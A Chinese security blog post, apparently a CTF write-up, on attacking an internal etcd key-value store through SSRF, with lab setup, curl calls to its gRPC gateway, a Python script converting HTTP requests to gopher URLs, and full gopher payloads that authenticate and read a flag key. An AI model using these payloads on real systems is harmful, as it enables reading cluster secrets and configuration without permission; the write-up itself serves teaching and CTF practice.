Etcd在SSRF场景下的攻击方式

admin 2024年2月23日18:56:34评论15 views字数 11254阅读37分30秒阅读模式

Etcd在SSRF场景下的攻击方式

关于Etcd

Etcd是一个高可用的分布式键值存储系统,主要用于共享配置和服务发现,是构建云原生应用的关键组件之一。它的主要特性包括:

1、一致性和高可用性:Etcd使用Raft算法保证数据的强一致性。即使在多节点的分布式环境中,它也能确保所有读写操作的可靠性和一致性。这对于维护集群状态和配置信息至关重要。
2、简单的键值存储模型:Etcd提供了一个简单的键值存储接口,用于存储和检索配置数据。这使得它易于使用和集成到各种应用程序和服务中。
3、服务发现:Etcd常被用于服务发现,它允许服务在启动时注册自己的地址和端口到Etcd中,其他服务可以通过查询Etcd来发现和连接到这些服务。
4、可靠的监视功能:它提供了对键值对的监控机制,可以实时反映出存储在Etcd中的配置变化。这对于实现动态配置和自动故障转移非常有用。
5、多版本并发控制(MVCC):Etcd支持MVCC,这使得它可以处理并发读写操作,同时还能保持数据的一致性。
6、安全性:通过支持SSL/TLS加密和基于角色的访问控制(RBAC),Etcd确保数据的安全性和访问控制。

Etcd在云原生生态系统中扮演着重要角色,尤其是在Kubernetes中,它用作存储所有集群数据的后端数据库,包括集群的状态和配置。这种高效、可靠和安全的键值存储机制对于现代分布式系统和微服务架构至关重要。

Etcd架构图可见下图所示:

Etcd在SSRF场景下的攻击方式

Etcd在SSRF场景下的攻击方式

启动etcd环境

使用如下docker-compose文件启动

version: "3.5"
services:
  etcd:
    hostname: etcd
    image: bitnami/etcd:3
    deploy:
      replicas: 1
      restart_policy:
        condition: on-failure
    # ports:
    #   - "2379:2379"
    #   - "2380:2380"
    #   - "4001:4001"
    #   - "7001:7001"
    privileged: true
    volumes:
      - "$PWD/etcd_data:/opt/bitnami/etcd/data"
    environment:
      - "ETCD_ADVERTISE_CLIENT_URLS=http://0.0.0.0:2379"
      - "ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379"
      - "ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2380"
      - "ETCD_INITIAL_ADVERTISE_PEER_URLS=http://0.0.0.0:2380"
      - "ALLOW_NONE_AUTHENTICATION=yes"
      - "ETCD_INITIAL_CLUSTER=node1=http://0.0.0.0:2380"
      - "ETCD_NAME=node1"
      - "ETCD_DATA_DIR=/opt/bitnami/etcd/data"
    ports:
      - 2379:2379
      - 2380:2380
    networks:
      - etcdnet

networks:
  etcdnet:
    name: etcdnet

浏览器访问:http://172.22.107.158:2379/version 验证或者使用etcdctl:(要指定版本不然有问题)

lanvnal@lanvnal ~/d/etcd_test> ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 member list
1c70f9bbb41018f, started, node1, http://0.0.0.0:2380, http://0.0.0.0:2379

Etcd比较常见的版本有v2版本和v3版本,v2、v3版本的共同点是共享同一套raft协议代码,不同点是二者为两个独立的应用,互不兼容,其接口、存储都是不相同的。

Etcd在SSRF场景下的攻击方式

Etcd的gRPC 网关

Etcd作为一个分布式键值存储系统,不仅提供了原生的gRPC接口,还引入了gRPC网关。这个网关允许用户通过HTTP/JSON API访问Etcd集群,从而扩展了Etcd的可访问性和互操作性,也是我们接下来SSRF利用的关键。

3.1 使用 grpc-gateway

网关接受 Etcd 的 protocol buffer 消息定义的 JSON mapping 。注意 key 和 value 字段被定义为 byte 数组,因此必须在 JSON 中以 base64 编码。下面例子使用 curl,但是任何 HTTP/JSON 客户端都可以如此工作。

3.2 设置和获取键

使用 v3alpha/kv/range 和 v3alpha/kv/put 服务来读取和写入键:

# https://www.base64encode.org/
# foo is 'Zm9v' in Base64
# bar is 'YmFy'

curl -L http://localhost:2379/v3alpha/kv/put 
    -X POST -d '{"key": "Zm9v", "value": "YmFy"}'
# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"3"}}

curl -L http://localhost:2379/v3alpha/kv/range 
    -X POST -d '{"key": "Zm9v"}'

# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"3"},"kvs":[{"key":"Zm9v","create_revision":"2","mod_revision":"2","version":"1","value":"YmFy"}],"count":"1"}

3.3 观察键

使用 v3alpha/watch 服务来观察键:

curl http://localhost:2379/v3alpha/watch 
        -X POST -d '{"create_request": {"key":"Zm9v"} }' &

# {"result":{"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"1","raft_term":"2"},"created":true}}


curl -L http://localhost:2379/v3alpha/kv/put 
    -X POST -d '{"key": "Zm9v", "value": "YmFy"}' >/dev/null 2>&1

# {"result":{"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"2"},"events":[{"kv":{"key":"Zm9v","create_revision":"2","mod_revision":"2","version":"1","value":"YmFy"}}]}}

3.4 事务

使用 v3alpha/kv/txn 发起事务:

curl -L http://localhost:2379/v3alpha/kv/txn 
    -X POST 
   -d '{"compare":[{"target":"CREATE","key":"Zm9v","createRevision":"2"}],"success":[{"requestPut":{"key":"Zm9v","value":"YmFy"}}]}'

# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"3","raft_term":"2"},"succeeded":true,"responses":[{"response_put":{"header":{"revision":"3"}}}]}

3.5 认证

使用 v3alpha/auth 服务搭建认证:

# 创建 root 用户
curl -L http://localhost:2379/v3alpha/auth/user/add 
    -X POST -d '{"name": "root", "password": "pass"}'

# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}


# 创建 root 角色
curl -L http://localhost:2379/v3alpha/auth/role/add 
   -X POST -d '{"name": "root"}'

# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}


# 授予 root 角色
curl -L http://localhost:2379/v3alpha/auth/user/grant 
   -X POST -d '{"user": "root", "role": "root"}'

# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}

# 开启认证
curl -L http://localhost:2379/v3alpha/auth/enable -X POST -d '{}'

# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}


使用 v3alpha/auth/authenticate 为认证 token 做认证:

# 为 root 用户 获取认证 token

curl -L http://localhost:2379/v3alpha/auth/authenticate 

    -X POST -d '{"name": "root", "password": "pass"}'

# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"},"token":"sssvIpwfnLAcWAQH.9"}

为认证 token 设置 Authorization header,以便在获取键时使用认证证书:

curl -L http://localhost:2379/v3alpha/kv/put 
    -H 'Authorization : sssvIpwfnLAcWAQH.9' 
    -X POST -d '{"key": "Zm9v", "value": "YmFy"}'

# {"header":{"cluster_id":"148416390689651784

Etcd在SSRF场景下的攻击方式

SSRF场景下利用

4.1 测试环境配置

通过v3/kv/put接口,插入kv数据:test : Hello World!

curl -L http://localhost:2379/v3/kv/put 
    -X POST -d '{"key": "dGVzdA==", "value": "SGVsbG8gV29ybGQh"}'
# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"3"}}

4.2 添加auth认证

参照上一章节认证部分。

4.3 构造gopher【json gRPC接口】

根据gRPC网关的文档,如下一个查询请求:(burp抓包)【当前没开启证书认证】,

POST /v3/kv/range HTTP/1.1
Host: 172.22.107.158:2379
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.22.107.158:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.22.107.158:2379/v3/kv/range
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"key""dGVzdA=="}

使用脚本转换成gopher格式,curl请求就可以。

注意一点就是请求的key和返回的value,都是base64编码的,要注意转换。

Etcd在SSRF场景下的攻击方式

4.4 有auth的情况

接口的auth认证是如下的流程的 先向 /v3/auth/authenticate 接口请求,post data中带着user和pass,如果正确的话会返回token的值,之后的请求通过token来进行身份验证。

之后向其他接口的请求,需要带上如下的header:

Authorization: 上面获取的token

下面是两个过程的报文:验证身份获取token

POST /v3/auth/authenticate HTTP/1.1
Host: 192.168.31.86:2379
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.86:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.31.86:2379/v3/auth/authenticate
Connection: close

{"name""root""password""root"}

get数据

POST /v3/kv/range HTTP/1.1
Host: 192.168.31.86:2379
Authorization: mbgMaGpGbqsVpdNe.35
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.86:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.31.86:2379/v3/kv/range
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"key""dGVzdA=="}

ssrf利用,需要先获取token,再构造带header的其他请求。

Etcd在SSRF场景下的攻击方式

Etcd在SSRF场景下的攻击方式

一道CTF题中的应用

之前出的某道题目,其中涉及etcd的链路如下:
Xxx -> 发现etcd配置 -> 扫目录发现use.php -> ssrf探测内网,发现etcd服务 -> etcd的ssrf利用 -> etcd存在认证,利用前面过程的进行认证 -> 查询etcd中数据获取flag
下面是解决过程:
找到ssrf的点,测试发现限制了file协议,但是其他可用。同时在phpinfo.php中可用确定服务器ip10.10.6.201,etcd默认端口2379,探测内网,发现etcd服务。
Etcd在SSRF场景下的攻击方式
通过如下接口验证version:
http://10.10.6.202:2379/version
{"etcdserver":"3.5.1","etcdcluster":"3.5.0"}
但是这里是个内网的etcd,所以只能通过这个ssrf的点进行利用,而且我们直接进行查询操作发现是存在auth的。
接口的auth认证是如下的流程的 先向 /v3/auth/authenticate 接口请求,post data中带着user和pass,如果正确的话会返回token的值,之后的请求通过token来进行身份验证。
之后向其他接口的请求,需要带上如下的header:
Authorization: 上面获取的token
目前没有写好的构造脚本,可以本地开个服务抓包,将http请求转换成gopher。
转换脚本如下:
import urllib
import urllib.parse
import urllib.request
test =
"""POST /v3/kv/range HTTP/1.1
Host: 10.10.6.202:2379
Authorization: KgOJURubcRBmrQqD.10
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.6.202:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.6.202:2379/v3/kv/range
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"
key": "ZmxhZw=="}

"""
  
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)

认证:

gopher://10.10.6.202:2379/_POST%20/v3/auth/authenticate%20HTTP/1.1%0D%0AHost%3A%2010.10.6.202%3A2379%0D%0AContent-Length%3A%2041%0D%0ACache-Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AOrigin%3A%20http%3A//10.10.6.202%3A2379%0D%0AContent-Type%3A%20application/json%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/101.0.4951.64%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AReferer%3A%20http%3A//10.10.6.202%3A2379/v3/auth/authenticate%0D%0AConnection%3A%20close%0D%0A%0D%0A%7B%22name%22%3A%20%22root%22%2C%20%22password%22%3A%20%22qwe123wow%22%7D%0D%0A%0D%0A
Etcd在SSRF场景下的攻击方式

查询:(key为flag)

gopher://10.10.6.202:2379/_POST%20/v3/kv/range%20HTTP/1.1%0D%0AHost%3A%2010.10.6.202%3A2379%0D%0AAuthorization%3A%20BRIDzJCeScpmNMmt.10%0D%0AContent-Length%3A%2019%0D%0ACache-Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AOrigin%3A%20http%3A//10.10.6.202%3A2379%0D%0AContent-Type%3A%20application/json%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/101.0.4951.64%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AReferer%3A%20http%3A//10.10.6.202%3A2379/v3/kv/range%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%0D%0AConnection%3A%20close%0D%0A%0D%0A%7B%22key%22%3A%20%22ZmxhZw%3D%3D%22%7D%0D%0A%0D%0A
Etcd在SSRF场景下的攻击方式
ZmxhZ3thY2Q2NWE5My04MGI5LTRlMzUtOWVjZS00NDlhNjM0NTlkMDZ9
flag{acd65a93-80b9-4e35-9ece-449a63459d06}

Etcd在SSRF场景下的攻击方式

参考文章

https://mp.weixin.qq.com/s/WJ14yyrLptQnRovFoGYv8A https://www.sakishum.com/2021/11/18/docker-compose%E9%83%A8%E7%BD%B2ETCD/#/%E8%B4%B0-%E5%85%B3%E4%BA%8E%E6%95%B0%E6%8D%AE%E7%9A%84-CRUD-Watch

  • 单节点etcd部署 https://www.jianshu.com/p/4878243fbbc8
  • json gRPC使用 https://doczhcn.gitbook.io/etcd/index/index/api_grpc_gateway

Etcd在SSRF场景下的攻击方式

                            Etcd在SSRF场景下的攻击方式点亮“在看”,你最好看

原文始发于微信公众号(中国电信SRC):Etcd在SSRF场景下的攻击方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月23日18:56:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Etcd在SSRF场景下的攻击方式https://cn-sec.com/archives/2519482.html

发表评论

匿名网友 填写信息